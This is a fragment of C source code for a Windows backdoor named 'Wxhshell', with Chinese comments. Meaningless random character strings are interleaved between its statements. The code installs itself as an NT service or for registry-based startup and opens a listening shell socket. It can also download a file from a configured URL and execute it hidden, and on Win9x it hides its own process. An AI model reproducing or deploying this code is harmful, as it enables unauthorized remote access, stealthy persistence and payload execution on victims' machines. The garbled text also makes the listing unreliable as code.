if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v}`{OE:-J VY1&YR}Y CloseHandle(hProcess); ko-,l6E d94Le/E hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x9!3i{_ if(hProcess==NULL) return 0; ,%=SO 82W zhdS6Gk+ HMODULE hMod; 3bN]2\ char procName[255]; tEam6xNf, unsigned long cbNeeded; Gv(?u "ZYdJHM if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'qy
LQ:6 GZt L- CloseHandle(hProcess); `qs[a}%'>" E;MelK<8( if(strstr(procName,"services")) return 1; // 以服务启动 `k;MGs)& :3N&&] return 0; // 注册表启动 Rt+ak} } - _?U/k(Hi ,L&d\M"f // 主模块 WcHL:38 int StartWxhshell(LPSTR lpCmdLine) )q|a Sd { x@LNjlP SOCKET wsl; FGey%:p9$ BOOL val=TRUE; p6c&vEsNj int port=0; 3YO%$ struct sockaddr_in door; <p5?yF Kl/n>qEt if(wscfg.ws_autoins) Install(); MLT^7'y Q)[DSM port=atoi(lpCmdLine); M/a40uK uc>]-4
if(port<=0) port=wscfg.ws_port; i9+qU (Go1@;5I WSADATA data; 90Bn}@t=Q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {oftZXwf }h+{>{2j if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; aoHAB<.C setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 91\Sb:> door.sin_family = AF_INET; .LI(2lP door.sin_addr.s_addr = inet_addr("127.0.0.1"); _Kwp8_kTr door.sin_port = htons(port); %7hf6Xo= b*)F7{/Z if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U
ATF}x
closesocket(wsl); XGb*LY+Db6 return 1; mFrDV,V } =Cc]ugl7- z 4qEC if(listen(wsl,2) == INVALID_SOCKET) { -q30tO. closesocket(wsl); 7 -S?U~s return 1; 0[ZB ^ } Vji:,k=3\ Wxhshell(wsl); $1y8X K7r WSACleanup(); cV4]Y(9 Aa+<4
R return 0; 2jF}n*[OW L/?jtF:o } 1hY%ZsjC \Mzr[dI // 以NT服务方式启动 WH_
W: VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /'a\$G"%6 { ~"VM_Lz]5 DWORD status = 0; 9qkJ< DWORD specificError = 0xfffffff; `ES+$ O> 9@8'*a{`m serviceStatus.dwServiceType = SERVICE_WIN32; .*B@1q serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1i&|}" serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q7]bUPDO serviceStatus.dwWin32ExitCode = 0; !u;gGgQF serviceStatus.dwServiceSpecificExitCode = 0; .I0M'L~!/L serviceStatus.dwCheckPoint = 0; 'cqY-64CJZ serviceStatus.dwWaitHint = 0; i9Eh1A3Y ;+1ooeU hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z*n4$?%W if (hServiceStatusHandle==0) return; 4Uhh]/ E|A~T7G= status = GetLastError(); %\L{Ud%7 if (status!=NO_ERROR) `CRF E5 { s"5nfl serviceStatus.dwCurrentState = SERVICE_STOPPED; hC4
M}(XM serviceStatus.dwCheckPoint = 0; |]~], serviceStatus.dwWaitHint = 0; \opcn\vW serviceStatus.dwWin32ExitCode = status; 7x]q>Y8T serviceStatus.dwServiceSpecificExitCode = specificError; BOD!0CR5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); G8WPXj( return; H43d[@h } TK0WfWch kjDmwa+91T serviceStatus.dwCurrentState = SERVICE_RUNNING; x)pR^t7u8 serviceStatus.dwCheckPoint = 0; E#Ol{6 serviceStatus.dwWaitHint = 0; +,Or^pO= if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $b[Ha{9(v } C~WWuju' ]Ot=At // 处理NT服务事件,比如:启动、停止 2St<m-& VOID WINAPI NTServiceHandler(DWORD fdwControl) #ro$$I; { lavy?tFer switch(fdwControl) gD;T"^S+ { x |gYxZ case SERVICE_CONTROL_STOP: do9~#F serviceStatus.dwWin32ExitCode = 0; EnmMFxu< serviceStatus.dwCurrentState = SERVICE_STOPPED; &-!$qUli serviceStatus.dwCheckPoint = 0; @NL37C serviceStatus.dwWaitHint = 0; h(^c5#. { i(ZzE SetServiceStatus(hServiceStatusHandle, &serviceStatus); C^c<s } v2a(yH return; ?a*w6,y. case SERVICE_CONTROL_PAUSE: B%`|W@v serviceStatus.dwCurrentState = SERVICE_PAUSED; HXX9D&c4R break; DMTc{ case SERVICE_CONTROL_CONTINUE: 2jlz#Sk serviceStatus.dwCurrentState = SERVICE_RUNNING; DliDBArxZ break; wn|;Li case SERVICE_CONTROL_INTERROGATE: s>1\bio*I break; ?NvE9+n }; cP4C<UG SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]
_W'-B } VbTX;? 0 d+b<J, // 标准应用程序主函数 9I`0`o"A int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I8 [
* { lHPnAaue@ Ujqnl>l // 获取操作系统版本 Y^C(<N$ OsIsNt=GetOsVer(); SL`; `// GetModuleFileName(NULL,ExeFile,MAX_PATH); >DbG
)0| xA<-'8ST // 从命令行安装 CIsX$W if(strpbrk(lpCmdLine,"iI")) Install(); N"tX K 4=`1C-v?q // 下载执行文件 )2q
r^) if(wscfg.ws_downexe) { +>AVxV=A# if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i3KAJ@ WinExec(wscfg.ws_filenam,SW_HIDE); w`r%_o-I } [O} D^qp j?T>S]xOX if(!OsIsNt) { h?h)i> // 如果时win9x,隐藏进程并且设置为注册表启动 /;:4$2R(; HideProc(); YMy** StartWxhshell(lpCmdLine); L_|iQwU% } "=KFag else ("{vbs$; if(StartFromService()) XiV
K4sD8 // 以服务方式启动 [6
"5 StartServiceCtrlDispatcher(DispatchTable); )~S`[jV5 else osmCwM4O // 普通方式启动 #;lEx'lKN StartWxhshell(lpCmdLine); {X<_Y< UUM:*X return 0; 9b&;4Yq!f }
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